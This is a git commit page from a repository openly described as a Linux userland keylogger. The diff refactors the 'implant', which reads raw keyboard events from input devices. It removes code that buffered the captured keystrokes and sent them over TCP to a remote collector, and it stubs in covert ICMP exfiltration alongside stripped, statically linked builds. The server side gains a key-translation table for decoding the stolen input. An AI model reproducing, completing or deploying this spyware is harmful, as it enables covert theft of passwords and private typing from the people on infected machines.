mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 5377d38ac2bdfc0d8794f6a699e58b51bf658722
parent ab85d08a055225f3ab91246d2ab35b9fd9a37bae
Author: djnnvx <[email protected]>
Date: Fri, 19 Apr 2024 20:23:29 +0200

wip(implant): removing libxkb support

Diffstat:
Mimplant/Makefile | 6+++---
Mimplant/includes/implant.h | 13++++---------
Mimplant/sources/logger.c | 155+++++++------------------------------------------------------------------------
Mimplant/sources/main.c | 11+----------
Mimplant/sources/net.c | 140++++---------------------------------------------------------------------------
Mserver/Makefile | 2+-
Mserver/includes/server.h | 3+++
Aserver/sources/keys.c | 52++++++++++++++++++++++++++++++++++++++++++++++++++++
Mserver/sources/loop.c | 2+-

9 files changed, 85 insertions(+), 299 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -7,7 +7,7 @@ CC			 	= clang
 RM			 	= rm -rf
 
 INCLUDES 	 	= -I./includes/
-LINK_FLAG    	= -lxkbcommon
+LINK_FLAG    	=
 
 
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
@@ -15,10 +15,10 @@ CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
 else
-	CFLAGS 		 	+= -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
+	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-	CFLAGS 			+= -Wno-unsafe-buffer-usage
+	CFLAGS 			+= -Wno-unsafe-buffer-usage -static
 endif
 
 
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -27,11 +27,6 @@ struct keyboard_s {
     devices;
 };
 
-typedef struct translated_key {
-    char const *description;
-    char const representation;
-} translated_key_t;
-
 /*
     contains project settings, such as target
     port & IP address, whether debug mode is enabled
@@ -44,10 +39,11 @@ typedef struct implant_s {
     char ip[STRING_BUFFER_SIZE];
     int disable_net;
 
-    /* keyboard settings */
+    /* keyboard settings (multiple if using dock or something) */
     TAILQ_HEAD(listhead, keyboard_s)
     kbd;
 
+    uint8_t using_caps_lock;
 } implant_t;
 
 #define SUCCESSFUL 1
@@ -70,14 +66,13 @@ typedef struct implant_s {
 #define KEY_RELEASED 0
 
 // net.c
-int init_remote_connection(implant_t *);
-int send_key_description(int, char[STRING_BUFFER_SIZE]);
+int send_key_icmp(implant_t *, struct input_event);
 
 // opt.c
 int parse_user_input(int, char **, implant_t *);
 
 // logger.c
-void keylog(implant_t *, int);
+void keylog(implant_t *);
 
 // keyboard.c
 void fetch_available_keyboards(implant_t *);
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -15,37 +15,8 @@
 #include <xkbcommon/xkbcommon.h>
 #include "implant.h"
 
-static const translated_key_t KEYS[] = {
-    {"space", ' '},
-    {"comma", ','},
-    {"period", '.'},
-    {"slash", '/'},
-    {"questionmark", '?'},
-    {"semicolon", ';'},
-    {"apostrophe", '\''},
-    {"bracketleft", '['},
-    {"bracketright", ']'},
-    {"backslash", '\\'},
-    {"pipe", '|'},
-    {"Tab", '\t'},
-    {"minus", '-'},
-    {"plus", '+'},
-    {"equal", '='},
-    {"dollar", '$'},
-    {"percentage", '%'},
-    {"star", '*'},
-    {"parenthesisleft", '('},
-    {"parenthesisright", ')'},
-    {"underscore", '_'},
-    {"ampersand", '&'},
-    {"pound", '#'},
-    {"arobase", '@'},
-    {"tild", '~'},
-    {NULL, 0},
-};
-
 static int
-get_highest_fd(implant_t *instance) {
+get_highest_fd(const implant_t *instance) {
     int highest_fd = -1;
 
     keyboard_t *it = NULL;
@@ -55,23 +26,8 @@ get_highest_fd(implant_t *instance) {
     return highest_fd;
 }
 
-static char *
-check_translated_key(char *key_desc) {
-    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
-        if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
-
-            memset(key_desc, 0, STRING_BUFFER_SIZE);
-            key_desc[0] = KEYS[ctr].representation;
-
-            break;
-        }
-    }
-    return key_desc;
-}
-
 static int
-log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
-    struct input_event evt = {0};
+log_keyboard(const int fd, struct input_event *evt, implant_t *implant) {
     static bool shift_pressed = false;
 
     /*
@@ -82,12 +38,12 @@ log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
         bulk of 6-10 once bufferizing messages is implemented
     */
 
-    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+    ssize_t bytes_read = read(fd, evt, sizeof(struct input_event));
 #ifdef DEBUG
     DEBUG_LOG("[!] read %ld bytes", bytes_read);
 #endif
 
-    if (bytes_read != sizeof(evt)) {
+    if (bytes_read != sizeof(struct input_event)) {
 
 #ifdef DEBUG
         DEBUG_LOG("[!] read() error: %s", strerror(errno));
@@ -98,47 +54,26 @@ log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
 
     /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
      */
-    if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
-        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+    if (evt->type == EV_KEY && evt->value == KEY_RELEASED) {
+        if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
             shift_pressed = false;
-            return SUCCESSFUL;
         }
     }
 
-    if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
-
-        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+    if (evt->type == EV_KEY && evt->value == KEY_PRESSED) {
+        if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
             shift_pressed = true;
-            return SUCCESSFUL;
         }
-
-        /*
-            TODO:
-
-            1) add support for xlib as well, so that wayland AND xlib are
-            supported. this should allow us to then relay those without issues
-
-            2) add check for which library is installed & add abstraction layer
-        */
-
-        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
-
-        if (shift_pressed)
-            keysym = xkb_keysym_to_upper(keysym);
-
-        memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
-        xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
-
-        *key_desc_ptr = check_translated_key(*key_desc_ptr);
     }
 
+    implant->using_caps_lock = (uint8_t)shift_pressed;
     return SUCCESSFUL;
 }
 
 /*
     main loop to listen for keys and stuff
 */
-void keylog(implant_t *instance, int sockfd) {
+void keylog(implant_t *instance) {
 
     /* first set up select etc */
     int highest_fd = get_highest_fd(instance);
@@ -153,55 +88,6 @@ void keylog(implant_t *instance, int sockfd) {
 
         return;
     }
-
-    /*
-       initialize xkbcommon context
-
-       this is the stuff that allows us to map keys to
-       the correct language & manages special characters, shift, etc.
-    */
-
-    struct xkb_context *context = NULL;
-    struct xkb_keymap *keymap = NULL;
-    struct xkb_state *state = NULL;
-
-    context = xkb_context_new(0);
-    if (!context) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
-#endif
-
-        return;
-    }
-
-    keymap = xkb_keymap_new_from_names(context, NULL, 0);
-    if (!keymap) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
-                  strerror(errno));
-#endif
-
-        goto LOG_FUNCTION_CLEANUP;
-    }
-
-    state = xkb_state_new(keymap);
-    if (!state) {
-
-#ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
-#endif
-
-        goto LOG_FUNCTION_CLEANUP;
-    }
-
-    char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
-    if (!key_desc)
-        goto LOG_FUNCTION_CLEANUP;
-
-    memset(key_desc, 0, STRING_BUFFER_SIZE);
-
     /* run the damn loop */
     while (0x520) {
 
@@ -267,17 +153,16 @@ void keylog(implant_t *instance, int sockfd) {
             /* checking for new input here */
             if (FD_ISSET(it->fd, &rd)) {
 
-                memset(key_desc, 0, STRING_BUFFER_SIZE);
-
+                struct input_event evt = {0};
                 /*
                     should we really kill the run here or can we recover this ?
                     i need to run some tests before making a decision.
                 */
-                if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
+                if (ERROR == log_keyboard(it->fd, &evt, instance)) {
                     goto LOG_FUNCTION_CLEANUP;
                 }
 
-                if (ERROR == send_key_description(sockfd, key_desc)) {
+                if (ERROR == send_key_icmp(instance, evt)) {
                     goto LOG_FUNCTION_CLEANUP;
                 }
             }
@@ -293,18 +178,4 @@ LOG_FUNCTION_CLEANUP:
             close(it->fd);
         }
     }
-
-    close(sockfd);
-
-    if (key_desc != NULL)
-        free(key_desc);
-
-    if (state != NULL)
-        xkb_state_unref(state);
-
-    if (keymap != NULL)
-        xkb_keymap_unref(keymap);
-
-    if (context != NULL)
-        xkb_context_unref(context);
 }
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -5,15 +5,6 @@
 
 int main(int ac, char **av, char **envp) {
 
-    /*
-        TODO:
-
-        get current layout & send beacon packets to the server.
-        https://superuser.com/a/1300093
-
-        then, drop the lib dependancy and compile statically on client-side
-    */
-
     implant_t instance = {
         .ip = {0}, .port = 80, /* ip can be a domain name */
     };
@@ -33,6 +24,6 @@ int main(int ac, char **av, char **envp) {
     if (sockfd < 0)
         return 1;
 
-    keylog(&instance, sockfd);
+    keylog(&instance);
     return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,142 +1,16 @@
-<
-/*
-    this file holds all of the functions needed for communicating with the
-    remote server
-*/
 
-#include <arpa/inet.h>
-#include <errno.h>
-#include <netinet/in.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <unistd.h>
+#include <linux/input.h>
 
 #include "implant.h"
 
-int send_key_description(int sockfd, char *key_desc) {
+/* Layout of the DATA packet is following
+ * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
+ */
+int send_key_icmp(implant_t *implant, struct input_event event) {
 
-    /*
-        creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
-        and only sends a message once the buffer size is full.
+    uint8_t payload[sizeof(struct input_event) + 32] = {0};
+    
 
-        it is the responsability of the user to not pick a STRING_BUFFER_SIZE
-        such that a size_t can hold 10 times its size in nb of characters.
-    */
-
-#ifdef DEBUG
-    /* i dont want to wait that long when testing lol */
-
-    const size_t max_nb_chars = STRING_BUFFER_SIZE;
-    static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
-#else
-    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
-    static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
-#endif
-
-    static size_t nb_chars_in_buffer = 0;
-
-    /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
-     */
-    size_t length_keydesc = strlen(key_desc);
-    if (length_keydesc == 0) {
-        return SUCCESSFUL;
-    }
-
-#ifdef DEBUG
-    DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer, max_nb_chars);
-
-    DEBUG_LOG("new key: %s", key_desc);
-#endif
-
-    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
-        if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
-
-#ifdef DEBUG
-            DEBUG_LOG("send: %s", strerror(errno));
-#endif
-            return ERROR;
-        }
-
-        memset(tmp_buffer, 0, nb_chars_in_buffer);
-        nb_chars_in_buffer = 0;
-
-        if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
-#ifdef DEBUG
-            DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
-#endif
-            return ERROR;
-        }
-    } else {
-
-        if (NULL ==
-            strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
-#ifdef DEBUG
-            DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
-#endif
-            return ERROR;
-        }
-    }
-
-    nb_chars_in_buffer = strlen(tmp_buffer);
     return SUCCESSFUL;
 }
 
-int init_remote_connection(implant_t *instance) {
-
-#ifdef DEBUG
-    DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
-#endif
-
-    /*
-       creating initial socket...
-
-       AF_INET          -> remote connection    (for local, use AF_UNIX)
-       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
-       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
-
-    */
-    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-    if (sockfd < 0) {
-
-#ifdef DEBUG
-        perror("socket");
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    /* items required to bind socket to remote address */
-    int is_enabled = 1;
-    struct sockaddr_in addr = {.sin_family = AF_INET,
-                               .sin_port = htons(instance->port),
-                               .sin_addr.s_addr = inet_addr(instance->ip)};
-
-    /* setting socket options to make connection more convenient */
-    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
-                                                                       (useful for testing) */
-                   &is_enabled,
-                   sizeof(int)) < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-
-#ifdef DEBUG
-        DEBUG_LOG("connect: %s", strerror(errno));
-#endif
-
-        close(sockfd);
-        return -1;
-    }
-
-    return sockfd;
-}
diff --git a/server/Makefile b/server/Makefile
@@ -29,7 +29,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= net.c lexxer.c csv.c loop.c
+SRC 		 	= net.c lexxer.c csv.c loop.c keys.c
 
 ########################
 #### COMPILATION #######
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -120,5 +120,8 @@ int init_csv_dbfd(char const *filepath);
 void loop(server_t *instance);
 int should_gracefully_exit(int code);
 
+// keys.c
+
+
 
 #endif /* SERVER_H */
diff --git a/server/sources/keys.c b/server/sources/keys.c
@@ -0,0 +1,52 @@
+
+#include <string.h>
+#include "server.h"
+
+#include <linux/input-event-codes.h>
+#include <linux/input.h>
+#include <xkbcommon/xkbcommon.h>
+
+static const translated_key_t KEYS[] = {
+    {"space", ' '},
+    {"comma", ','},
+    {"period", '.'},
+    {"slash", '/'},
+    {"questionmark", '?'},
+    {"semicolon", ';'},
+    {"apostrophe", '\''},
+    {"bracketleft", '['},
+    {"bracketright", ']'},
+    {"backslash", '\\'},
+    {"pipe", '|'},
+    {"Tab", '\t'},
+    {"minus", '-'},
+    {"plus", '+'},
+    {"equal", '='},
+    {"dollar", '$'},
+    {"percentage", '%'},
+    {"star", '*'},
+    {"parenthesisleft", '('},
+    {"parenthesisright", ')'},
+    {"underscore", '_'},
+    {"ampersand", '&'},
+    {"pound", '#'},
+    {"arobase", '@'},
+    {"tild", '~'},
+    {NULL, 0},
+};
+
+
+static char *
+retrieve_translated_key(char *key_desc) {
+    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+        if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
+
+            memset(key_desc, 0, STRING_BUFFER_SIZE);
+            key_desc[0] = KEYS[ctr].representation;
+
+            break;
+        }
+    }
+    return key_desc;
+}
+
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -30,7 +30,7 @@ void loop(server_t *instance) {
 
     signal(SIGINT, sig_handler);
     TAILQ_INIT(&instance->clients);
-    while (should_gracefully_exit(0)) {
+    while (!should_gracefully_exit(0)) {
 
         icmp_msg_t msg = {0};